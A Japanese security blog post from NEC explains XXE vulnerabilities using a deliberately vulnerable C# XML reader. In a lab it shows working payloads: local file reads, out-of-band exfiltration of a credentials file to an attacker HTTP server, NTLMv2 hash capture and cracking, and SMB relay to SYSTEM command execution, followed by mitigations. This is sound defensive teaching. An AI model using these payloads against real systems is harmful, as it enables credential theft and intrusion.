サイト内の現在位置

本当は怖いXML ~XML外部実体参照(XXE)に関する脆弱性について~

NECセキュリティブログ

2024年1月19日

NEC サイバーセキュリティ戦略統括部 セキュリティ技術センターの外山です。今回はXML外部実体参照(XXE)に関する脆弱性について取り上げてみたいと思います。XMLはデータを保存する形式として高機能で便利ですが、適切に使用しないと意図せず脆弱性につながることがあります。どのようなケースで脆弱性につながることがあるのか、実例を交えて解説してみたいと思います。

注意: 本ブログの内容の悪用は厳禁です。本ブログの内容を使用したことによって発生する不利益等について筆者はいかなる責任も負いません。

XMLとは

Extensible Markup Language(XML)はSGMLからの移行を目的として開発されたマークアップ言語であり、データの保存・転送に用いられています。
XMLでは構造を定義するためにタグが使用され、単純な例としては以下のような形となります。

<?xml version="1.0" encoding="UTF-8" ?>
<memberlist>
 <member>
  <name>nec tarou</name>
  <department>cybersecurity department</department>
 </member>
 <member>
  <name>nec jirou</name>
  <department>cybersecurity department</department>
 </member>
</memberlist>

データの保存・転送に適した形式としてはCSVもありますが、CSVは2次元の行列として表現される一方、XMLは木構造として表現できるため柔軟であり、活用事例も増えています。

政府や公的機関による活用事例も増えており、今後も活用事例が増えることが予測されます。

  • 気象庁における防災情報としての活用 new window[1]
  • e-govにおける法令検索としての活用 new window[2]
  • e-Taxにおける添付書類等としての活用 new window[3]
  • 製薬協における医療用医薬品添付文書情報としての活用 new window[4]
  • ZEDI(全銀EDIシステム)における振込情報としての活用 new window[5]
  • EDINETにおける届出情報としての活用(XMLベースのXBRLを利用) new window[6]
  • 国土交通省における電子納品としての活用 new window[7]

XML外部実体参照(XXE)に関する脆弱性とは

XML外部実体参照(XXE)に関する脆弱性は、不適切な構成のパーサーでXMLを解析した際にローカルファイルの読み出しやSSRF、サービス妨害などが可能となる脆弱性です new window[8] new window[9]。JVNでは「XML外部実体参照(XXE)に関する脆弱性」と表記されます new window[10]が、単にXXEと呼ばれることも多いため、以降は簡単にXXEと表記します。
また、国内で使用されるソフトウェアなどの脆弱性関連情報を提供するJVNにおいても、Windows用クライアントアプリケーションにおけるXXEが多数報告されている new window[11]ため、本記事ではWindowsアプリケーションに焦点を当てます。

検証用プログラム

XXEを理解するにあたり、C#でXXEの脆弱性が含まれる簡単なプログラムを用意します。以下のプログラムはコマンドライン引数で指定したXMLを読み込み、nameとdepartmentの内容を出力します。
reader.csとして以下の内容のファイルを用意します。

using System;
using System.Xml;

public class Reader{
 public static void Main(string[] args) {
  XmlTextReader reader = new XmlTextReader(args[0]);
  while (reader.Read()) {
    if (reader.Name == "name")
     Console.WriteLine("name: {0}",reader.ReadElementContentAsString());
    if (reader.Name == "department")
     Console.WriteLine("department: {0}\n",reader.ReadElementContentAsString());
  }
 }
}

Windowsに標準搭載されているC#コンパイラ new window[12]を使用してコンパイルし、reader.csからreader.exeを生成します。

PS C:\Users\toyama\Desktop> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:reader.exe reader.cs
Microsoft (R) Visual C# Compiler version 4.8.4084.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

memberlist.xmlとして以下の内容のファイルを用意します。

<?xml version="1.0" encoding="UTF-8" ?>
<memberlist>
 <member>
  <name>nec tarou</name>
  <department>cybersecurity department</department>
 </member>
 <member>
  <name>nec jirou</name>
  <department>cybersecurity department</department>
 </member>
</memberlist>

プログラムを実行し、コマンドライン引数として上記のmemberlist.xmlを読み込ませます。nameとdepartmentが正しく出力されていることが確認できます。

PS C:\Users\toyama\Desktop> .\reader.exe memberlist.xml
name: nec tarou
department: cybersecurity department

name: nec jirou
department: cybersecurity department

実体(Entity)とは

XXEを理解するためには外部実体参照を理解する必要があります。まず最初に実体(Entity)とは、記憶単位(storage unit)として定義されています new window[13]。実体を使用することで、定義を一か所に集約することができます。
簡単な例として、以下の例をご覧ください。entity.xmlとして以下の内容のファイルを用意します。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE memberlist[
 <!ENTITY department_name "cybersecurity department">
]>
<memberlist>
 <member>
  <name>nec tarou</name>
  <department>&department_name;</department>
 </member>
 <member>
  <name>nec jirou</name>
  <department>&department_name;</department>
 </member>
</memberlist>

これを検証用プログラムで読み込むと以下のようになり、&department_name;が"cybersecurity department"として展開されることが確認できます。
このように実体(Entity)を参照することで、複数箇所の記述を統一して一箇所で管理することができます。

PS C:\Users\toyama\Desktop> .\reader.exe entity.xml
name: nec tarou
department: cybersecurity department

name: nec jirou
department: cybersecurity department

実体(Entity)には内部実体と外部実体が2種類が存在します。先ほどの例は内部実体に属します。

<!ENTITY department_name "cybersecurity department">

外部実体(External Entity)とは

一方で外部実体(External Entity)は、外部から実体を読み込みます。
外部ファイルの内容を読み込む例を以下に示します。department.txtとして以下の内容のファイルを用意します。

cybersecurity department

また、external_entity.xmlとして以下の内容のファイルを用意します。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE memberlist[
 <!ENTITY department_name SYSTEM "department.txt">
]>
<memberlist>
 <member>
  <name>nec tarou</name>
  <department>&department_name;</department>
 </member>
 <member>
  <name>nec jirou</name>
  <department>&department_name;</department>
 </member>
</memberlist>

これを検証用プログラムで読み込むと以下のようになります。このように外部実体(External Entity)を参照することで、外部ファイルの内容を読み込むことができます。

PS C:\Users\toyama\Desktop> .\reader.exe external_entity.xml
name: nec tarou
department: cybersecurity department

name: nec jirou
department: cybersecurity department

外部実体参照は別ファイルを読み込むことができ便利ですが、開発者が意図しないファイルが読み込まれる危険性もあります。

XML外部実体参照(XXE)に関する脆弱性の悪用

開発者が意図しないファイルの読み込み

XMLの外部実体参照により、開発者が意図しないファイルが読み込まれる例を示します。read_hosts.xmlとして以下の内容のファイルを用意します。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE memberlist[
 <!ENTITY department_name SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<memberlist>
 <member>
  <name>nec tarou</name>
  <department>&department_name;</department>
 </member>
 <member>
  <name>nec jirou</name>
  <department>&department_name;</department>
 </member>
</memberlist>

これを検証用プログラムで読み込むと以下のような結果となります。C:\Windows\System32\drivers\etc\hostsの内容がdepartmentとして出力されていることが確認できます。

PS C:\Users\toyama\Desktop> .\reader.exe read_hosts.xml
name: nec tarou
department: # Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost


name: nec jirou
department: # Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost

この例ではローカル環境で検証しましたが、クライアントがアップロードしたXMLファイルの内容を解析しその内容をレスポンスするようなWebアプリケーションでは、Webサーバー上のファイルが意図せず読み取られる可能性があります。

帯域外(out-of-band)のブラインドXXE

意図しないファイルの読み込みの例ではファイルの内容がレスポンスに含まれている必要がありました。その回避策として帯域外(out-of-band)のブラインドXXEと呼ばれる手法が存在します new window[14]。パラメータ実体(Parameter Entity)と呼ばれる外部実体内で使用することができる実体を使用することで、ファイルの内容を外部へ送信することができます。

外部へファイルを送信するため、以下のような構成を使用します。

credentials.txtとして以下の内容のファイルを用意します。

admin:password

oob.xmlとして以下の内容のファイルを用意します。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE memberlist SYSTEM "http://192.168.100.200/oob.dtd">
<memberlist>
 <member>
  <name>nec tarou</name>
  <department>&send;</department>
 </member>
</memberlist>

oob.dtdとして以下の内容のファイルを用意します。詳細な説明は割愛しますが、credentials.txtの内容を192.168.162.133へ送信する内容となっています。

<!ENTITY % file SYSTEM "file:///C:/Users/toyama/Desktop/credentials.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.100.200/?%file;'>">
%all;

これを実行すると、以下のようなエラーが出力されます。

PS C:\Users\toyama\Desktop> .\reader.exe oob.xml
name: nec tarou

ハンドルされていない例外: System.Xml.XmlException: 予期しない DTD 宣言です。 行 1、位置 3。
 場所 System.Xml.XmlTextReaderImpl.Throw(Exception e)
 場所 System.Xml.XmlTextReaderImpl.ParseElementContent()
 場所 System.Xml.XmlReader.InternalReadContentAsString()
 場所 System.Xml.XmlReader.ReadElementContentAsString()
 場所 Reader.Main(String[] args)

ただし、攻撃者の端末には以下のようなリクエストがされており、GETパラメータの内容からcredentials.txtの内容が読み取れることが分かります。

┌──(kali㉿kali)-[~]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.100.1 - - [25/Nov/2023 07:07:59] "GET /oob.dtd HTTP/1.1" 200 -
192.168.100.1 - - [25/Nov/2023 07:07:59] "GET /?admin:password HTTP/1.1" 200 -

このように、通信を発生させてファイルの内容を外部へ送信することができます。

WindowsアプリケーションにおけるXXEの例

ここからはWindowsアプリケーションでXXEの脆弱性が存在する場合に何が行えるか考えます。ここではNTLMv2ハッシュを使用したパスワードの解析、SMBリレー攻撃によるRCEを考えます。

NTLMv2ハッシュを使用したパスワードの解析

外部実体参照の説明で、外部ファイルを読み込む機能が存在することを説明しました。WindowsではSMBプロトコルを使用して外部ファイルを読み込むことができます。SMBプロトコルによる通信を強制的に発生させることにより、NTLMv2ハッシュを取得することができます。
NTLMv2ハッシュを取得するため、以下のような構成を使用します。

ntlmv2hash.xmlとして以下の内容のファイルを用意します。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE memberlist [<!ENTITY send SYSTEM 'file://///192.168.100.200//random.dtd'> ]>
<memberlist>
 <member>
  <name>nec tarou</name>
  <department>&send;</department>
 </member>
</memberlist>

攻撃端末でResponder new window[15]を起動した状態で、検証用プログラムでntlmv2hash.xmlを読み込みます。

PS C:\Users\toyama\Desktop> .\reader.exe ntlmv2hash.xml
name: nec tarou

ハンドルされていない例外: System.UnauthorizedAccessException: パス '\\192.168.100.200\random.dtd' へのアクセスが拒否されました。
 場所 System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
 場所 System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
 場所 System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize)
 場所 System.Xml.XmlDownloadManager.GetStream(Uri uri, ICredentials credentials, IWebProxy proxy, RequestCachePolicy cachePolicy)
 場所 System.Xml.XmlUrlResolver.GetEntity(Uri absoluteUri, String role, Type ofObjectToReturn)
 場所 System.Xml.XmlTextReaderImpl.OpenAndPush(Uri uri)
 場所 System.Xml.XmlTextReaderImpl.PushExternalEntityOrSubset(String publicId, String systemId, Uri baseUri, String entityName)
 場所 System.Xml.XmlTextReaderImpl.PushExternalEntity(IDtdEntityInfo entity)
 場所 System.Xml.XmlTextReaderImpl.HandleGeneralEntityReference(String name, Boolean isInAttributeValue, Boolean pushFakeEntityIfNullResolver, Int32 entityStartLinePos)
 場所 System.Xml.XmlTextReaderImpl.ResolveEntity()
 場所 System.Xml.XmlReader.InternalReadContentAsString()
 場所 System.Xml.XmlReader.ReadElementContentAsString()
 場所 Reader.Main(String[] args)

ResponderでSMBプロトコルの通信を待ち受けることにより、NTLMv2ハッシュが表示されることが確認できます。

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0

__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.1.3.0

 To support this project:
 Patreon -> https://www.patreon.com/PythonResponder
 Paypal -> https://paypal.me/PythonResponder

 Author: Laurent Gaffie (laurent.gaffie@gmail.com)
 To kill this script hit CTRL-C


[+] Poisoners:
 LLMNR [ON]
 NBT-NS [ON]
 MDNS [ON]
 DNS [ON]
 DHCP [OFF]

[+] Servers:
 HTTP server [ON]
 HTTPS server [ON]
 WPAD proxy [OFF]
 Auth proxy [OFF]
 SMB server [ON]
 Kerberos server [ON]
 SQL server [ON]
 FTP server [ON]
 IMAP server [ON]
 POP3 server [ON]
 SMTP server [ON]
 DNS server [ON]
 LDAP server [ON]
 RDP server [ON]
 DCE-RPC server [ON]
 WinRM server [ON]

[+] HTTP Options:
 Always serving EXE [OFF]
 Serving EXE [OFF]
 Serving HTML [OFF]
 Upstream Proxy [OFF]

[+] Poisoning Options:
 Analyze Mode [OFF]
 Force WPAD auth [OFF]
 Force Basic Auth [OFF]
 Force LM downgrade [OFF]
 Force ESS downgrade [OFF]

[+] Generic Options:
 Responder NIC [eth0]
 Responder IP [192.168.100.200]
 Responder IPv6 [fe80::20c:29ff:fe29:1c87]
 Challenge set [random]
 Don't Respond To Names ['ISATAP']

[+] Current Session Variables:
 Responder Machine Name [WIN-6Q5S8PBHFXD]
 Responder Domain Name [QOQ4.LOCAL]
 Responder DCE-RPC Port [47340]

[+] Listening for events...

[*] [NBT-NS] Poisoned answer sent to 192.168.100.1 for name DESKTOP-HP7J3HQ (service: Domain Controller)
[SMB] NTLMv2-SSP Client : 192.168.100.1
[SMB] NTLMv2-SSP Username : .\toyama
[SMB] NTLMv2-SSP Hash : toyama::.:8d85584ee5866ca0:E5187AD7E5568E768432A32E3744CD83:01010000000000000080FBEA701FDA0107E89F12A49C5190000000000200080051004F005100340001001E00570049004E002D003600510035005300380050004200480046005800440004003400570049004E002D00360051003500530038005000420048004600580044002E0051004F00510034002E004C004F00430041004C000300140051004F00510034002E004C004F00430041004C000500140051004F00510034002E004C004F00430041004C00070008000080FBEA701FDA01060004000200000008003000300000000000000001000000002000002F2D80A2BE4BB8EEBDA8C1777D8333A2B746541F284BA6FA4FBB87B07467A7080A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100300030002E003200300030000000000000000000

取得したNTLMv2ハッシュをhashcat new window[16]で解析します。なお、ここでは辞書ファイルとしてrockyou.txtを使用しています。解析の結果、パスワードがblackdog123であることが分かります。

┌──(kali㉿kali)-[~]
└─$ cat hash
toyama::.:8d85584ee5866ca0:E5187AD7E5568E768432A32E3744CD83:01010000000000000080FBEA701FDA0107E89F12A49C5190000000000200080051004F005100340001001E00570049004E002D003600510035005300380050004200480046005800440004003400570049004E002D00360051003500530038005000420048004600580044002E0051004F00510034002E004C004F00430041004C000300140051004F00510034002E004C004F00430041004C000500140051004F00510034002E004C004F00430041004C00070008000080FBEA701FDA01060004000200000008003000300000000000000001000000002000002F2D80A2BE4BB8EEBDA8C1777D8333A2B746541F284BA6FA4FBB87B07467A7080A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100300030002E003200300030000000000000000000

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz, 2910/5884 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 3 secs

Cracking performance lower than expected?

* Append -O to the commandline.
 This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
 This can cause your screen to lag.

* Append -S to the commandline.
 This has a drastic speed impact but can be better for specific attacks.
 Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
 https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
 https://hashcat.net/faq/morework

TOYAMA::.:8d85584ee5866ca0:e5187ad7e5568e768432a32e3744cd83:01010000000000000080fbea701fda0107e89f12a49c5190000000000200080051004f005100340001001e00570049004e002d003600510035005300380050004200480046005800440004003400570049004e002d00360051003500530038005000420048004600580044002e0051004f00510034002e004c004f00430041004c000300140051004f00510034002e004c004f00430041004c000500140051004f00510034002e004c004f00430041004c00070008000080fbea701fda01060004000200000008003000300000000000000001000000002000002f2d80a2be4bb8eebda8c1777d8333a2b746541f284ba6fa4fbb87b07467a7080a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100300030002e003200300030000000000000000000:blackdog123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TOYAMA::.:8d85584ee5866ca0:e5187ad7e5568e768432a32e...000000
Time.Started.....: Sat Nov 25 07:37:14 2023 (7 secs)
Time.Estimated...: Sat Nov 25 07:37:21 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 295.2 kH/s (3.39ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1980416/14344385 (13.81%)
Rejected.........: 0/1980416 (0.00%)
Restore.Point....: 1979392/14344385 (13.80%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: blake!!! -> black$
Hardware.Mon.#1..: Util: 72%

Started: Sat Nov 25 07:37:06 2023
Stopped: Sat Nov 25 07:37:22 2023

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 -a 0 hash /usr/share/wordlists/rockyou.txt --show
TOYAMA::.:8d85584ee5866ca0:e5187ad7e5568e768432a32e3744cd83:01010000000000000080fbea701fda0107e89f12a49c5190000000000200080051004f005100340001001e00570049004e002d003600510035005300380050004200480046005800440004003400570049004e002d00360051003500530038005000420048004600580044002e0051004f00510034002e004c004f00430041004c000300140051004f00510034002e004c004f00430041004c000500140051004f00510034002e004c004f00430041004c00070008000080fbea701fda01060004000200000008003000300000000000000001000000002000002f2d80a2be4bb8eebda8c1777d8333a2b746541f284ba6fa4fbb87b07467a7080a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100300030002e003200300030000000000000000000:blackdog123

このように、Windowsアプリケーション上で悪意のあるXMLファイルが読み込まれることで、SMBプロトコルによる通信が発生し、NTLMv2ハッシュが漏えいします。NTLMv2ハッシュを解析することにより、(今回はパスワードが辞書ファイルrockyou.txtに含まれていたため)パスワードの特定につながりました。

SMBリレー攻撃

条件は厳しいものの、SMBプロトコルによる通信が発生することからSMBリレー攻撃を行うことも可能です。これにより、AD環境下の端末に対しSMB要求を中継し、システム権限を奪取することができる可能性があります。

SMBリレー攻撃を行うにあたり、以下のような構成を使用しました。

検証を行うにあたり、以下の設定を行っています。

  • dc(192.168.100.100)でxxetest.localドメインを作成し、pc02(192.168.101),pc03(192.168.102)を追加
  • 検証用ユーザーとしてDomain Adminsグループに所属するxxetest\domainadminsuserユーザーを作成
  • 検証には中継先のローカル管理者権限が必要となります
  • SMBのポート開放を行うため、pc03(192.168.100.102)で「ファイルとプリンターの共有を有効にする」を設定

pc01(192.168.100.101)に対してxxetest\domainadminsuserユーザーとしてログインします。

PS C:\Users\domainadminsuser\Desktop> whoami
xxetest\domainadminsuser
PS C:\Users\domainadminsuser\Desktop> whoami /groups

GROUP INFORMATION
-----------------

グループ名 種類 SID 属性
============================================== ==================== ============================================= ===========================================================
Everyone よく知られたグループ S-1-1-0 固定グループ, 既定で有効, 有効なグループ
BUILTIN\Users エイリアス S-1-5-32-545 固定グループ, 既定で有効, 有効なグループ
BUILTIN\Administrators エイリアス S-1-5-32-544 拒否のみに使用するグループ
NT AUTHORITY\INTERACTIVE よく知られたグループ S-1-5-4 固定グループ, 既定で有効, 有効なグループ
CONSOLE LOGON よく知られたグループ S-1-2-1 固定グループ, 既定で有効, 有効なグループ
NT AUTHORITY\Authenticated Users よく知られたグループ S-1-5-11 固定グループ, 既定で有効, 有効なグループ
NT AUTHORITY\This Organization よく知られたグループ S-1-5-15 固定グループ, 既定で有効, 有効なグループ
LOCAL よく知られたグループ S-1-2-0 固定グループ, 既定で有効, 有効なグループ
XXETEST\Domain Admins グループ S-1-5-21-1747581368-2447995739-2558791648-512 拒否のみに使用するグループ 認証機関によりアサートされた ID よく知られたグループ S-1-18-1 固定グループ, 既定で有効, 有効なグループ
XXETEST\Denied RODC Password Replication Group エイリアス S-1-5-21-1747581368-2447995739-2558791648-572 固定グループ, 既定で有効, 有効なグループ, ローカル グループ
Mandatory Label\Medium Mandatory Level ラベル S-1-16-8192

検証用プログラム(reader.exe)でntlmv2hash.xmlを読み込み、攻撃用端末kali(192.168.100.200)に対してSMBプロトコルで接続を試みます。

PS C:\Users\domainadminsuser\Desktop> .\reader.exe ntlmv2hash.xml
name: nec tarou

ハンドルされていない例外: System.IO.IOException: ネットワーク名が見つかりません。

 場所 System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
 場所 System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
 場所 System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize)
 場所 System.Xml.XmlDownloadManager.GetStream(Uri uri, ICredentials credentials, IWebProxy proxy, RequestCachePolicy cachePolicy)
 場所 System.Xml.XmlUrlResolver.GetEntity(Uri absoluteUri, String role, Type ofObjectToReturn)
 場所 System.Xml.XmlTextReaderImpl.OpenAndPush(Uri uri)
 場所 System.Xml.XmlTextReaderImpl.PushExternalEntityOrSubset(String publicId, String systemId, Uri baseUri, String entityName)
 場所 System.Xml.XmlTextReaderImpl.PushExternalEntity(IDtdEntityInfo entity)
 場所 System.Xml.XmlTextReaderImpl.HandleGeneralEntityReference(String name, Boolean isInAttributeValue, Boolean pushFakeEntityIfNullResolver, Int32 entityStartLinePos)
 場所 System.Xml.XmlTextReaderImpl.ResolveEntity()
 場所 System.Xml.XmlReader.InternalReadContentAsString()
 場所 System.Xml.XmlReader.ReadElementContentAsString()
 場所 Reader.Main(String[] args)

このとき、攻撃用端末kali(192.168.100.200)でntlmrelayx new window[17]を起動しておくことで、pc03(192.168.100.102)上のシステム権限でwhoamiコマンドを実行することができます。

┌──(kali㉿kali)-[~]
└─$ sudo /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -smb2support -t smb://192.168.100.102 -c 'whoami' -debug
Impacket v0.11.0 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Protocol Client MSSQL loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client RPC loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.100.101, attacking target smb://192.168.100.102
[*] Authenticating against smb://192.168.100.102 as XXETEST/DOMAINADMINSUSER SUCCEED
[+] No more targets
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[+] No more targets
[*] SMBD-Thread-10 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-11 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-12 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[*] Service RemoteRegistry is disabled, enabling it
[+] No more targets
[*] SMBD-Thread-13 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-14 (process_request_thread): Connection from 192.168.100.101 controlled, but there are no more targets left!
[*] Starting service RemoteRegistry
[+] ExecuteRemote command: %COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[*] Executed specified command on host: 192.168.100.102
nt authority\system

[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

このように、前提条件は厳しいもののWindowsアプリケーション上で悪意のあるXMLファイルが読み込まれることで、SMBプロトコルによる通信が発生し、リレー攻撃を介してシステム権限が奪取される可能性があります。

XXEの対策手法

XXEの脆弱性は、外部実体参照やDTDの解析を有効にしていることに起因するため、必要がなければ解析を行わない設定を行うことを推奨します。
また、古いフレームワークやライブラリを使用している場合、意図せずDTDが有効になっている可能性があります。libxmlではデフォルトでDTDの解析が有効になっており、バージョン2.9以降からデフォルトで解析を行わないようになりました new window[18]
.Net Frameworkにおいてもバージョンや使用するクラスによってデフォルトでDTDの解析を行うか挙動が変わります new window[19]。今回検証用プログラムで使用したXmlTextReaderはデフォルトでDTDの解析を行うものとなっています。

まとめ

XML外部実体参照(XXE)に関する脆弱性についてご紹介しました。XMLはデータの保存・転送に便利であり利活用が広まっていますが、パーサーを適切に構成しない場合、意図せず脆弱性に繋がる可能性があります。XMLを扱うシステムを構築する際にはご注意ください。

参考文献

執筆者プロフィール

外山 拓(とやま たく)
セキュリティ技術センター リスクハンティング・アナリシスグループ

脆弱性診断やペネトレーションテストを主な業務としつつ、セキュリティ研修講師や社内CTF運営として得られた知見を社内に還元している。
社会貢献と診断の勉強を兼ねた脆弱性報告活動を趣味としており、政府や大企業を対象とした報告実績を持つ。
情報処理安全確保支援士/CISSP Associate/CEH MASTER/エンベデッドシステムスペシャリスト/2級鍵師/甲種火薬類取扱保安責任者/危険物乙種3,4,5,6類などを保持。

執筆者の他の記事を読む

アクセスランキング